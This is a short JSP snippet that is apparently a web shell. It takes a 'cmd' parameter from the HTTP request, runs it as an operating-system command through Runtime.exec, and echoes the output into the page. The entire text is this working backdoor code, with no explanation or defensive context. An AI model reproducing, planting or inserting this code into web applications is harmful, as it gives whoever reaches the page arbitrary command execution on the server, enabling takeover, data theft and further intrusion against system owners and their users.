<% if (request.getParameter('cmd') != null) { out.println('Command: ' + request.getParameter('cmd') + '<br />'); Process p = Runtime.getRuntime().exec(request.getParameter('cmd')); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>